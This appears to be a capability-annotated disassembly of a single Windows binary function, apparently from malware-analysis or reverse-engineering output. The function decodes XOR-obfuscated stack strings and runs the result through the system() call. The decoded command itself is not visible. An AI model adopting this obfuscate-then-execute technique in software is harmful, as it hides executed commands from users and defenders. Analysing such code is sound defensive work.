Function at 0x140037220
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
movdqa xmm0, xmmword [0x1401a7ba0]
movdqu xmmword [rbp - 0x29], xmm0
movdqa xmm1, xmmword [0x1401a7c30]
movdqu xmmword [rbp - 0x19], xmm1
movdqa xmm0, xmmword [0x1401a7850]
movdqu xmmword [rbp - 9], xmm0
mov dword [rbp + 7], 0x64796875
mov byte [rbp + 0xb], 0
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte ds:[rbp - 0x29]
xor byte [rbp + rcx - 0x28], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x27], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x26], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x25], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x24], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x23], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x22], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x21], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x20], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x1f], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x1e], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x1d], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x1c], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x1b], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x1a], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x19], al
movzx eax, byte [rbp - 0x29]
xor byte [rbp + rcx - 0x18], al
add rcx, 0x11
cmp rcx, 0x33
jb 0x140037270
mov byte [rbp + 0xb], 0
mov dword [rbp + 0x67], 0x2064630c
mov byte [rbp + 0x6b], 0
lea rcx, [rbp + 0x68]
mov rbx, 0xffffffffffffffff
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140037327
mov rdx, qword [0x1401c6948]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, rax
jb 0x1400374bb
lea rcx, [0x1401c6938]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x1401c6938]
mov qword ss:[rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x68]
lea rcx, [rbp + 0x2f]
call fcn.140026cc0
nop
lea rax, [rbp - 0x28]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140037390
mov r8, rbx
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x2f]
call fcn.1400237c0
xorps xmm0, xmm0
movups xmmword [rbp + 0xf], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0xf]
cmp qword [rbp + 0x27], 0xf
cmova rcx, qword [rbp + 0xf]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
lea rcx, [rbp + 0xf]
call fcn.1400041e0
nop
lea rcx, [rbp + 0x2f]
call fcn.1400041e0
test ebx, ebx
jne 0x14003741e
mov rbx, qword [rsp + 0xd8]
add rsp, 0xc0
pop rbp
jmp fcn.140036f40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0xf]
call fcn.1400374d0
lea rdx, ds:[rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
mov byte [rax + 0x1a], 0
call fcn.140004600
lea rdx, [0x1400047e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14002de10
int3
nop dword [rax + rax]
call fcn.140004c80
int3